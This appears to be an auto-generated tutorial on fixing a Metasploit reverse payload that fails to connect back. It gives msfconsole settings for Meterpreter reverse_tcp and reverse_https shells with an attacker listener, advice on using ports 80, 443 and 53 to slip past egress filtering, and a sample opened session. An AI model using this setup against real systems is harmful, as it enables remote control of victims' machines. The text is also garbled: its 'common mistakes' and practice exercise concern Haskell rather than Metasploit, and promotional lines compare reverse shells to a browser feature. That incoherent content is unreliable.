How to Fix Metasploit Payload Not Reversing
In this tutorial, you'll learn about How to Fix Metasploit Payload Not Reversing. We cover key concepts, practical examples, and best practices.
You set up a reverse handler in Metasploit, the payload executes on the target, but no session opens. Network connectivity or payload architecture mismatch is the cause.
The Wrong Way
# Using default payload without considering the target environment
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
If the target does not have outbound access to port 4444, the connection never arrives.
The Right Way
Step 1: Verify network connectivity
# On the attacker machine, verify the port is listening:
ss -tlnp | grep 4444
# Check firewall:
sudo iptables -L -n | grep 4444
Step 2: Use the correct payload architecture
# Check target architecture before setting payload:
# x86 target → windows/meterpreter/reverse_tcp
# x64 target → windows/x64/meterpreter/reverse_tcp
# Linux target → linux/x64/meterpreter/reverse_tcp
#
# Wrong architecture = payload crashes silently
Step 3: Set a common port for egress
# Many networks block high ports for outbound traffic
# Use ports commonly allowed:
set LPORT 80 # HTTP
set LPORT 443 # HTTPS
set LPORT 53 # DNS
# For HTTPS, use:
set payload windows/meterpreter/reverse_https
Step 4: Check the exploit compatibility
msf6 > info
# Check:
# - Payload options: Are there required settings?
# - Compatibility: Does the exploit support this payload?
# - Targets: Does the target OS match?
Meterpreter session 1 opened — 192.168.1.100:4444 → 192.168.1.10:54321, Windows 10 x64.
Prevention
- Test connectivity with a simple
nclistener before deploying payloads. - Always verify target architecture and OS before choosing a payload.
- The reverse-connection pattern is similar to Doda Browser's remote debugging feature — the debugger listens on a specific port while the target connects back.
Common Mistakes with payload not reverse
- Mixing let bindings with <- bindings in do notation, producing type errors
- Overlapping type class instances that cause GHC to reject the program with ambiguous dispatch errors
- Non-exhaustive pattern matches that compile with warnings then crash at runtime
These mistakes appear frequently in real-world METASPLOIT code. DodaTech's contributors have identified these patterns through analysis of open-source projects and production systems.
Practice Exercise
Write a pure function that safely divides two integers using Maybe, then test it with edge cases like division by zero and negative numbers.
This exercise reinforces the concepts covered in this guide. Try implementing it before checking online solutions.
FAQ
Built by the developers of DodaTech
Doda Browser, DodaZIP & Durga Antivirus Pro